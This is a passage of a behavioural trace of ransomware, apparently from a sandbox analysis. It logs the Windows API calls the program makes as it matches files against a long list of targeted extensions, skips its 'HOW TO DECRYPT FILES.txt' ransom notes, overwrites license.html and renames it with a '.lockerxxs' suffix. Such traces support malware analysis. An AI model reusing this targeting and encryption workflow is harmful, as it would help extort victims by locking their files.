(x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.accdb") returned 0 [0069.746] lstrlenA (lpString="*.accdb") returned 7 [0069.746] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.odb") returned 0 [0069.746] lstrlenA (lpString="*.odb") returned 5 [0069.746] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.java") returned 0 [0069.746] lstrlenA (lpString="*.java") returned 6 [0069.746] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.asm") returned 0 [0069.746] lstrlenA (lpString="*.asm") returned 5 [0069.746] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.pfx") returned 0 [0069.747] lstrlenA (lpString="*.pfx") returned 5 [0069.747] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.pem") returned 0 [0069.747] lstrlenA (lpString="*.pem") returned 5 [0069.747] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.p12") returned 0 [0069.747] lstrlenA (lpString="*.p12") returned 5 [0069.747] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.gpg") returned 0 [0069.747] lstrlenA (lpString="*.gpg") returned 5 [0069.747] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.vsd") returned 0 [0069.747] lstrlenA (lpString="*.vsd") returned 5 [0069.747] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.odg") returned 0 [0069.747] lstrlenA (lpString="*.odg") returned 5 [0069.747] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.raw") returned 0 [0069.747] lstrlenA (lpString="*.raw") returned 5 [0069.747] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.nef") returned 0 [0069.747] lstrlenA (lpString="*.nef") returned 5 [0069.747] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.svg") returned 0 [0069.747] lstrlenA (lpString="*.svg") returned 5 [0069.747] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.psd") returned 0 [0069.747] lstrlenA (lpString="*.psd") returned 5 [0069.748] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.vmx") returned 0 [0069.748] lstrlenA (lpString="*.vmx") returned 5 [0069.748] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.vmdk") returned 0 [0069.748] lstrlenA (lpString="*.vmdk") returned 6 [0069.748] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.vdi") returned 0 [0069.748] lstrlenA (lpString="*.vdi") returned 5 [0069.748] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.lay6") returned 0 [0069.748] lstrlenA (lpString="*.lay6") returned 6 [0069.748] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.mpeg") returned 0 [0069.748] lstrlenA (lpString="*.mpeg") returned 6 [0069.748] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.djvu") returned 0 [0069.748] lstrlenA (lpString="*.djvu") returned 6 [0069.748] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.tiff") returned 0 [0069.748] lstrlenA (lpString="*.tiff") returned 6 [0069.748] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.backup") returned 0 [0069.748] lstrlenA (lpString="*.backup") returned 8 [0069.748] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.pdf") returned 0 [0069.748] lstrlenA (lpString="*.pdf") returned 5 [0069.748] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.cert") returned 0 [0069.748] lstrlenA (lpString="*.cert") returned 6 [0069.748] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.docm") returned 0 [0069.749] lstrlenA (lpString="*.docm") returned 6 [0069.749] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.xlsm") returned 0 [0069.749] lstrlenA (lpString="*.xlsm") returned 6 [0069.749] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.dwg") returned 0 [0069.749] lstrlenA (lpString="*.dwg") returned 5 [0069.749] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.nd") returned 0 [0069.749] lstrlenA (lpString="*.nd") returned 4 [0069.749] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.tlg") returned 0 [0069.749] lstrlenA (lpString="*.tlg") returned 5 [0069.749] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.lgb") returned 0 [0069.749] lstrlenA (lpString="*.lgb") returned 5 [0069.749] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.mov") returned 0 [0069.749] lstrlenA (lpString="*.mov") returned 5 [0069.749] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.xdw") returned 0 [0069.749] lstrlenA (lpString="*.xdw") returned 5 [0069.749] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.ods") returned 0 [0069.749] lstrlenA (lpString="*.ods") returned 5 [0069.749] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.wav") returned 0 [0069.749] lstrlenA (lpString="*.wav") returned 5 [0069.749] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.mp3") returned 0 [0069.749] lstrlenA (lpString="*.mp3") returned 5 [0069.749] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.aiff") returned 0 [0069.750] lstrlenA (lpString="*.aiff") returned 6 [0069.750] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.flac") returned 0 [0069.750] lstrlenA (lpString="*.flac") returned 6 [0069.750] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.m4a") returned 0 [0069.750] lstrlenA (lpString="*.m4a") returned 5 [0069.750] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.csv") returned 0 [0069.750] lstrlenA (lpString="*.csv") returned 5 [0069.750] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe94c, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0069.750] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.750] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0069.750] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0069.750] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0069.750] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini") returned="eula.ini" [0069.750] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\" [0069.750] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\") returned="" [0069.750] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\HOW TO DECRYPT FILES.txt" [0069.750] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\how to decrypt files.txt")) returned 0x20 [0069.751] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html" [0069.751] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.ems") returned 0 [0069.751] lstrlenA (lpString="*.ems") returned 5 [0069.751] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.db") returned 0 [0069.751] lstrlenA (lpString="*.db") returned 4 [0069.751] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.dbf") returned 0 [0069.751] lstrlenA (lpString="*.dbf") returned 5 [0069.751] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.myox") returned 0 [0069.751] lstrlenA (lpString="*.myox") returned 6 [0069.751] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.myo") returned 0 [0069.751] lstrlenA (lpString="*.myo") returned 5 [0069.751] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.qbw") returned 0 [0069.751] lstrlenA (lpString="*.qbw") returned 5 [0069.751] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.qbb") returned 0 [0069.751] lstrlenA (lpString="*.qbb") returned 5 [0069.751] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.qbm") returned 0 [0069.751] lstrlenA (lpString="*.qbm") returned 5 [0069.751] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.qbo") returned 0 [0069.751] lstrlenA (lpString="*.qbo") returned 5 [0069.751] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.qbx") returned 0 [0069.752] lstrlenA (lpString="*.qbx") returned 5 [0069.752] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.qba") returned 0 [0069.752] lstrlenA (lpString="*.qba") returned 5 [0069.752] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.qby") returned 0 [0069.752] lstrlenA (lpString="*.qby") returned 5 [0069.752] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.qbj") returned 0 [0069.752] lstrlenA (lpString="*.qbj") returned 5 [0069.752] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.ofx") returned 0 [0069.752] lstrlenA (lpString="*.ofx") returned 5 [0069.752] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.qif") returned 0 [0069.752] lstrlenA (lpString="*.qif") returned 5 [0069.752] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.mye") returned 0 [0069.752] lstrlenA (lpString="*.mye") returned 5 [0069.752] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.mbox") returned 0 [0069.752] lstrlenA (lpString="*.mbox") returned 6 [0069.752] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.eml") returned 0 [0069.752] lstrlenA (lpString="*.eml") returned 5 [0069.752] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.pst") returned 0 [0069.753] lstrlenA (lpString="*.pst") returned 5 [0069.753] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.ost") returned 0 [0069.753] lstrlenA (lpString="*.ost") returned 5 [0069.753] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.idx") returned 0 [0069.753] lstrlenA (lpString="*.idx") returned 5 [0069.753] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.dbx") returned 0 [0069.753] lstrlenA (lpString="*.dbx") returned 5 [0069.753] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.sql") returned 0 [0069.753] lstrlenA (lpString="*.sql") returned 5 [0069.753] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.mdb") returned 0 [0069.753] lstrlenA (lpString="*.mdb") returned 5 [0069.753] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.fdb") returned 0 [0069.753] lstrlenA (lpString="*.fdb") returned 5 [0069.753] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.wab") returned 0 [0069.753] lstrlenA (lpString="*.wab") returned 5 [0069.753] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.dat") returned 0 [0069.753] lstrlenA (lpString="*.dat") returned 5 [0069.753] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.txt") returned 0 [0069.753] lstrlenA (lpString="*.txt") returned 5 [0069.753] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.jpeg") returned 0 [0069.754] lstrlenA (lpString="*.jpeg") returned 6 [0069.754] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.jpg") returned 0 [0069.754] lstrlenA (lpString="*.jpg") returned 5 [0069.754] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.png") returned 0 [0069.754] lstrlenA (lpString="*.png") returned 5 [0069.754] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.php") returned 0 [0069.754] lstrlenA (lpString="*.php") returned 5 [0069.754] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.cs") returned 0 [0069.754] lstrlenA (lpString="*.cs") returned 4 [0069.754] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.cpp") returned 0 [0069.754] lstrlenA (lpString="*.cpp") returned 5 [0069.754] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.rar") returned 0 [0069.754] lstrlenA (lpString="*.rar") returned 5 [0069.754] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.zip") returned 0 [0069.754] lstrlenA (lpString="*.zip") returned 5 [0069.754] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", pszSpec="*.html") returned 1 [0069.754] lstrlenA (lpString="*.html") returned 6 [0069.754] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html" [0069.754] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html" [0069.754] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html." [0069.754] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html.lockerxxs" [0069.754] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.755] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe94c [0069.755] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x950fa000, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81da7fe0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x950fa000, dwHighDateTime=0x1cb84b4)) returned 1 [0069.755] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.755] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xe926, lpOverlapped=0x0) returned 1 [0069.809] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html") returned="license.html" [0069.810] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.810] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xe926, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xe926, lpOverlapped=0x0) returned 1 [0069.810] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.810] CloseHandle (hObject=0x94) returned 1 [0069.821] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html.lockerxxs")) returned 1 [0069.822] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe94c, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0069.822] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.824] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="HRV", cAlternateFileName="")) returned 1 [0069.824] lstrcmpA (lpString1=".", lpString2="HRV") returned -1 [0069.824] lstrcmpA (lpString1="..", lpString2="HRV") returned -1 [0069.824] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0069.824] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="HRV" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV" [0069.824] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV") returned 57 [0069.824] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.825] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.825] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ce9900, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.825] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.825] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.825] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0069.825] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.825] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0069.825] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0069.825] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0069.825] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\*.*") returned="*.*" [0069.825] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\" [0069.825] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 